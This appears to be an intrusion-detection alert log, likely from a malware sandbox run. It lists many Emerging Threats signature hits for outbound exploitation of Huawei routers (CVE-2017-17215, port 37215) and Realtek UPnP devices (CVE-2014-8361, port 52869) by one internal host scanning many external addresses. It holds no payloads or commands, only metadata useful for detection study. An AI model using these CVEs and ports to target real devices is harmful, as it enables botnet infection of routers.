2024-07-20T23:10:42.278984+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54990	37215	192.168.2.15	157.206.206.167
2024-07-20T23:10:41.248454+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45274	37215	192.168.2.15	197.161.254.255
2024-07-20T23:10:41.674250+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35728	37215	192.168.2.15	197.210.198.249
2024-07-20T23:10:41.675412+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44378	37215	192.168.2.15	197.223.201.190
2024-07-20T23:10:42.946176+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33094	52869	192.168.2.15	80.66.53.41
2024-07-20T23:10:41.243831+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45306	37215	192.168.2.15	197.111.165.124
2024-07-20T23:10:40.943561+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40044	37215	192.168.2.15	157.89.121.43
2024-07-20T23:10:42.248098+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46970	37215	192.168.2.15	216.129.222.152
2024-07-20T23:10:52.111250+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38138	52869	192.168.2.15	48.171.160.205
2024-07-20T23:10:41.672505+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57446	37215	192.168.2.15	218.122.204.1
2024-07-20T23:10:40.941539+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34744	37215	192.168.2.15	41.238.31.136
2024-07-20T23:10:40.367173+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55586	52869	192.168.2.15	126.171.98.117
2024-07-20T23:10:41.232616+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40522	37215	192.168.2.15	197.248.148.38
2024-07-20T23:10:42.280294+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57160	37215	192.168.2.15	157.16.220.141
2024-07-20T23:10:41.244364+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51878	37215	192.168.2.15	68.197.157.97
2024-07-20T23:10:40.935071+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51210	37215	192.168.2.15	211.150.213.32
2024-07-20T23:10:56.106747+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56680	37215	192.168.2.15	41.149.175.52
2024-07-20T23:10:52.627701+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55502	37215	192.168.2.15	197.130.206.169
2024-07-20T23:10:39.508504+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48076	37215	192.168.2.15	41.101.127.58
2024-07-20T23:10:41.675412+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47936	37215	192.168.2.15	41.208.56.128
2024-07-20T23:10:40.946479+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42874	37215	192.168.2.15	49.223.157.49
2024-07-20T23:10:39.488655+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39720	37215	192.168.2.15	41.48.64.8
2024-07-20T23:10:41.689073+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34070	37215	192.168.2.15	197.253.47.96
2024-07-20T23:10:41.244364+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58384	37215	192.168.2.15	157.37.199.77
2024-07-20T23:10:42.665921+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41794	52869	192.168.2.15	189.209.128.109
2024-07-20T23:10:40.149872+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60064	52869	192.168.2.15	206.49.109.215
2024-07-20T23:10:49.457364+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41694	37215	192.168.2.15	98.109.201.53
2024-07-20T23:10:39.441039+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55304	37215	192.168.2.15	157.178.175.186
2024-07-20T23:10:41.237255+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45168	37215	192.168.2.15	157.234.79.175
2024-07-20T23:10:41.671603+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40016	37215	192.168.2.15	157.193.70.196
2024-07-20T23:10:49.450306+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49496	37215	192.168.2.15	178.226.102.10
2024-07-20T23:10:39.487008+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42690	37215	192.168.2.15	197.74.96.150
2024-07-20T23:10:41.693757+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50340	37215	192.168.2.15	157.108.50.27
2024-07-20T23:10:42.282973+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38322	37215	192.168.2.15	77.45.128.145
2024-07-20T23:10:42.272034+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42764	37215	192.168.2.15	157.122.165.127
2024-07-20T23:10:40.946478+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55772	37215	192.168.2.15	157.136.199.255
2024-07-20T23:10:42.280429+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	32910	37215	192.168.2.15	157.249.63.236
2024-07-20T23:10:40.963772+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48858	52869	192.168.2.15	210.2.46.1
2024-07-20T23:10:56.016286+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51404	37215	192.168.2.15	41.167.79.148
2024-07-20T23:10:39.504391+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50524	37215	192.168.2.15	157.173.171.152
2024-07-20T23:10:40.941539+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48602	37215	192.168.2.15	157.131.188.191
2024-07-20T23:10:42.286426+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56810	37215	192.168.2.15	197.108.166.247
2024-07-20T23:10:39.495983+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43916	37215	192.168.2.15	157.204.120.208
2024-07-20T23:10:39.511582+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38156	37215	192.168.2.15	197.251.233.95
2024-07-20T23:10:41.234520+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56412	37215	192.168.2.15	197.29.196.90
2024-07-20T23:10:39.438135+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47204	37215	192.168.2.15	41.135.100.3
2024-07-20T23:10:39.497131+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38488	37215	192.168.2.15	41.135.228.141
2024-07-20T23:10:41.231521+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38304	37215	192.168.2.15	146.208.62.250
2024-07-20T23:10:49.490272+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39930	37215	192.168.2.15	41.64.188.170
2024-07-20T23:10:39.441038+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59122	37215	192.168.2.15	197.91.175.126
2024-07-20T23:10:41.237750+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49914	37215	192.168.2.15	41.221.232.221
2024-07-20T23:10:40.934982+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52806	37215	192.168.2.15	157.236.94.127
2024-07-20T23:10:40.948142+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36836	37215	192.168.2.15	115.19.25.169
2024-07-20T23:10:41.673540+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36782	37215	192.168.2.15	157.206.105.136
2024-07-20T23:10:41.248342+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46766	37215	192.168.2.15	197.127.119.138
2024-07-20T23:10:40.934363+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37552	37215	192.168.2.15	41.74.238.245
2024-07-20T23:10:39.442646+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45984	37215	192.168.2.15	197.197.182.48
2024-07-20T23:10:41.682592+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37992	37215	192.168.2.15	197.218.107.66
2024-07-20T23:10:52.663866+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46262	37215	192.168.2.15	41.185.85.92
2024-07-20T23:10:40.939487+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59396	37215	192.168.2.15	197.58.251.46
2024-07-20T23:10:40.934142+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42416	37215	192.168.2.15	67.53.114.65
2024-07-20T23:10:41.671643+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47306	37215	192.168.2.15	157.22.160.234
2024-07-20T23:10:40.934499+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38168	37215	192.168.2.15	81.7.136.58
2024-07-20T23:10:39.503369+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55442	37215	192.168.2.15	178.230.194.125
2024-07-20T23:10:42.261820+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36518	37215	192.168.2.15	197.108.156.198
2024-07-20T23:10:39.503369+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58804	37215	192.168.2.15	197.162.71.183
2024-07-20T23:10:39.492375+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48196	37215	192.168.2.15	20.255.176.224
2024-07-20T23:10:39.479428+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37890	37215	192.168.2.15	197.180.228.252
2024-07-20T23:10:41.248454+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38674	37215	192.168.2.15	41.81.0.187
2024-07-20T23:10:53.487043+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52728	52869	192.168.2.15	170.247.115.65
2024-07-20T23:10:42.286426+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33180	37215	192.168.2.15	157.225.109.57
2024-07-20T23:10:39.511132+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60356	37215	192.168.2.15	205.50.160.163
2024-07-20T23:10:41.248454+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42326	37215	192.168.2.15	197.142.98.9
2024-07-20T23:10:40.944199+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45480	37215	192.168.2.15	39.147.126.15
2024-07-20T23:10:40.943560+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33750	37215	192.168.2.15	157.88.156.88
2024-07-20T23:10:40.934983+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47708	37215	192.168.2.15	157.162.123.109
2024-07-20T23:10:40.941539+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37088	37215	192.168.2.15	41.62.170.7
2024-07-20T23:10:39.503369+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48658	37215	192.168.2.15	197.140.115.187
2024-07-20T23:10:41.248342+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39194	37215	192.168.2.15	161.55.194.1
2024-07-20T23:10:39.511132+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55552	37215	192.168.2.15	83.35.196.3
2024-07-20T23:10:42.273322+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47454	37215	192.168.2.15	122.72.16.198
2024-07-20T23:10:41.679495+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39706	37215	192.168.2.15	86.37.66.37
2024-07-20T23:10:40.934142+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50750	37215	192.168.2.15	157.155.184.46
2024-07-20T23:10:40.934499+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40270	37215	192.168.2.15	197.243.62.202
2024-07-20T23:10:46.816612+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47236	37215	192.168.2.15	197.165.244.114
2024-07-20T23:10:41.671757+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49570	37215	192.168.2.15	168.175.171.32
2024-07-20T23:10:48.599765+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59432	52869	192.168.2.15	27.73.191.157
2024-07-20T23:10:39.487008+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40464	37215	192.168.2.15	197.182.32.204
2024-07-20T23:10:42.280294+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41162	37215	192.168.2.15	41.86.2.56
2024-07-20T23:10:40.933920+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56460	37215	192.168.2.15	223.170.119.134
2024-07-20T23:10:42.261146+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55058	37215	192.168.2.15	157.168.3.223
2024-07-20T23:10:46.758980+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49414	37215	192.168.2.15	157.118.190.74
2024-07-20T23:10:40.941539+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54186	37215	192.168.2.15	41.21.7.132
2024-07-20T23:10:40.944484+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47314	37215	192.168.2.15	41.200.3.16
2024-07-20T23:10:41.674250+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44498	37215	192.168.2.15	212.103.36.245
2024-07-20T23:10:41.672972+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54702	37215	192.168.2.15	157.87.201.136
2024-07-20T23:10:40.944199+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47154	37215	192.168.2.15	41.123.206.73
2024-07-20T23:10:41.243831+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60146	37215	192.168.2.15	41.247.243.177
2024-07-20T23:10:41.672505+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55828	37215	192.168.2.15	41.235.198.119
2024-07-20T23:10:41.675412+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33246	37215	192.168.2.15	197.255.77.151
2024-07-20T23:10:42.278984+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44126	37215	192.168.2.15	41.216.252.34
2024-07-20T23:10:41.673540+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51524	37215	192.168.2.15	157.119.224.103
2024-07-20T23:10:39.511132+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55870	37215	192.168.2.15	157.104.229.164
2024-07-20T23:10:41.671560+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47358	37215	192.168.2.15	85.117.223.133
2024-07-20T23:10:41.241817+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46468	37215	192.168.2.15	157.37.222.176
2024-07-20T23:10:39.438615+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59080	37215	192.168.2.15	166.129.166.145
2024-07-20T23:10:40.940896+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47964	37215	192.168.2.15	187.14.16.38
2024-07-20T23:10:39.503369+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47548	37215	192.168.2.15	41.1.217.148
2024-07-20T23:10:42.273322+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57680	37215	192.168.2.15	41.82.184.104
2024-07-20T23:10:41.682592+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40388	37215	192.168.2.15	197.98.237.187
2024-07-20T23:10:39.497131+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41756	37215	192.168.2.15	157.17.105.247
2024-07-20T23:10:40.935071+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47874	37215	192.168.2.15	41.8.250.84
2024-07-20T23:10:39.511582+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59668	37215	192.168.2.15	197.219.149.250
2024-07-20T23:10:40.934142+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41764	37215	192.168.2.15	157.174.248.251
2024-07-20T23:10:41.672972+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38590	37215	192.168.2.15	41.106.110.233
2024-07-20T23:10:41.693872+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43204	37215	192.168.2.15	41.27.9.58
2024-07-20T23:10:40.940896+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47126	37215	192.168.2.15	197.224.162.113
2024-07-20T23:10:39.503369+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49420	37215	192.168.2.15	197.164.89.253
2024-07-20T23:10:39.463408+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56722	37215	192.168.2.15	157.29.91.154
2024-07-20T23:10:41.671671+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44318	37215	192.168.2.15	41.34.252.98
2024-07-20T23:10:41.671757+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43444	37215	192.168.2.15	197.135.54.100
2024-07-20T23:10:56.043519+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41544	37215	192.168.2.15	45.163.34.232
2024-07-20T23:10:40.935071+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43004	37215	192.168.2.15	65.120.250.13
2024-07-20T23:10:41.712950+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40124	37215	192.168.2.15	207.219.56.164
2024-07-20T23:10:41.682592+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37580	37215	192.168.2.15	110.110.225.230
2024-07-20T23:10:41.671543+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43682	37215	192.168.2.15	157.251.184.233
2024-07-20T23:10:40.949089+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52726	37215	192.168.2.15	157.145.75.170
2024-07-20T23:10:42.284900+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40564	37215	192.168.2.15	74.208.48.243
2024-07-20T23:10:52.579502+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47868	37215	192.168.2.15	157.158.41.236
2024-07-20T23:10:40.939487+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54458	37215	192.168.2.15	14.62.43.62
2024-07-20T23:10:39.497211+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33022	37215	192.168.2.15	41.133.211.18
2024-07-20T23:10:40.933981+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52524	37215	192.168.2.15	140.238.108.223
2024-07-20T23:10:39.441039+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60562	37215	192.168.2.15	149.205.10.158
2024-07-20T23:10:40.941539+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57238	37215	192.168.2.15	41.152.10.195
2024-07-20T23:10:41.237255+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54730	37215	192.168.2.15	157.214.195.83
2024-07-20T23:10:42.286426+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53108	37215	192.168.2.15	65.246.66.79
2024-07-20T23:10:39.504391+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43092	37215	192.168.2.15	221.44.210.72
2024-07-20T23:10:42.708635+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51780	52869	192.168.2.15	85.126.23.91
2024-07-20T23:10:39.449685+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45790	37215	192.168.2.15	41.106.243.14
2024-07-20T23:10:39.504391+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55246	37215	192.168.2.15	197.55.78.55
2024-07-20T23:10:41.679495+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44914	37215	192.168.2.15	157.92.145.86
2024-07-20T23:10:42.261820+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53136	37215	192.168.2.15	41.104.211.49
2024-07-20T23:10:39.438615+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60840	37215	192.168.2.15	41.109.80.153
2024-07-20T23:10:39.463408+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57118	37215	192.168.2.15	41.157.245.144
2024-07-20T23:10:42.665921+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44534	52869	192.168.2.15	203.39.100.182
2024-07-20T23:10:39.479428+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45002	37215	192.168.2.15	197.105.219.240
2024-07-20T23:10:41.675412+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47704	37215	192.168.2.15	157.31.242.46
2024-07-20T23:10:39.442646+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51100	37215	192.168.2.15	197.12.49.40
2024-07-20T23:10:40.944199+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39514	37215	192.168.2.15	197.226.228.189
2024-07-20T23:10:42.272034+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46134	37215	192.168.2.15	157.9.212.7
2024-07-20T23:10:53.264106+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40792	52869	192.168.2.15	155.240.87.154
2024-07-20T23:10:39.438615+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58302	37215	192.168.2.15	197.130.106.175
2024-07-20T23:10:41.671643+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56374	37215	192.168.2.15	157.172.222.139
2024-07-20T23:10:39.508504+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41310	37215	192.168.2.15	157.217.24.18
2024-07-20T23:10:46.829468+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56346	37215	192.168.2.15	41.19.135.245
2024-07-20T23:10:42.273322+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57716	37215	192.168.2.15	41.67.87.28
2024-07-20T23:10:41.679495+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45458	37215	192.168.2.15	178.151.190.240
2024-07-20T23:10:44.629568+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59420	52869	192.168.2.15	173.225.79.113
2024-07-20T23:10:40.946479+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45884	37215	192.168.2.15	157.106.18.30
2024-07-20T23:10:41.689073+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37350	37215	192.168.2.15	41.16.241.53
2024-07-20T23:10:41.672504+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35100	37215	192.168.2.15	157.118.142.72
2024-07-20T23:10:42.282973+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44894	37215	192.168.2.15	157.252.36.217
2024-07-20T23:10:41.689073+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33158	37215	192.168.2.15	41.27.64.243
2024-07-20T23:10:42.882094+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54806	52869	192.168.2.15	116.118.210.76
2024-07-20T23:10:46.861044+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40752	37215	192.168.2.15	157.97.221.144
